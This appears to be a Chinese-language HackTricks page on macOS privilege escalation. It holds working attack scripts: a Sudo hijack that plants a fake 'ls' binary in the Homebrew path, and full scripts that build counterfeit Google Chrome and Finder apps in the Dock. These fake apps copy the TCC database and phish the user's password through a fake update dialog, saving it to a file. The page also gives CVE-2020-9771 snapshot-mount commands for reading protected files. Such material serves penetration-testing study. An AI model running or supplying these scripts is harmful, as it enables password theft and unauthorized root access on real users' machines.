macOS权限提升

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TCC权限提升

如果您在这里寻找TCC权限提升，请转到：

{% content-ref url="macos-security-protections/macos-tcc/" %} macos-tcc {% endcontent-ref %}

Linux权限提升

请注意，大多数关于影响Linux/Unix权限提升的技巧也会影响MacOS机器。因此请参考：

{% content-ref url="../../linux-hardening/privilege-escalation/" %} privilege-escalation {% endcontent-ref %}

用户交互

Sudo劫持

您可以在Linux权限提升文章中找到原始的Sudo劫持技术。

然而，macOS在用户执行**sudo时会保留用户的PATH。这意味着实现此攻击的另一种方法是劫持受害者在运行sudo时执行的其他二进制文件**：

# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

注意，使用终端的用户很可能已经安装了Homebrew。因此，有可能劫持**/opt/homebrew/bin**中的二进制文件。

Dock冒充

通过一些社会工程学手段，您可以在Dock中冒充例如Google Chrome，实际上执行您自己的脚本：

{% tabs %} {% tab title="Chrome冒充" %} 一些建议：

在Dock中检查是否有Chrome，如果有的话，移除该条目，并在Dock数组的相同位置添加一个伪造的Chrome条目。

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

{% endtab %}

{% tab title="模拟Finder" %} 一些建议：

你无法从Dock中移除Finder，所以如果你要将其添加到Dock中，你可以将假的Finder放在真正的Finder旁边。为此，你需要将假的Finder条目添加到Dock数组的开头。
另一个选择是不将其放在Dock中，只是打开它，“Finder要求控制Finder”并不奇怪。
另一个升级到root权限而不需要密码的可怕框的选项是让Finder真的要求输入密码来执行特权操作：
- 要求Finder将新的**sudo文件复制到/etc/pam.d**（提示要求输入密码将指示“Finder想要复制sudo”）
- 要求Finder复制一个新的授权插件（你可以控制文件名，以便提示要求输入密码将指示“Finder想要复制Finder.bundle”）

#!/bin/sh

# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';

rm -rf /tmp/Finder.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Finder.app/Contents/MacOS
mkdir -p /tmp/Finder.app/Contents/Resources

# Payload to execute
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c

chmod +x /tmp/Finder.app/Contents/MacOS/Finder

# Info.plist
cat << EOF > /tmp/Finder.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Finder
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

TCC - 提权漏洞

CVE-2020-9771 - mount_apfs TCC绕过和提权

任何用户（甚至是非特权用户）都可以创建和挂载一个时间机器快照，并访问该快照的所有文件。
唯一需要的特权是所使用的应用程序（如Terminal）需要具有完全磁盘访问权限（FDA）（kTCCServiceSystemPolicyAllfiles），这需要由管理员授予。

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

更详细的解释可以在原始报告中找到。

敏感信息

这可能对提升权限有用：

{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}

从零开始学习AWS黑客技术，成为英雄，使用 htARTE（HackTricks AWS红队专家）！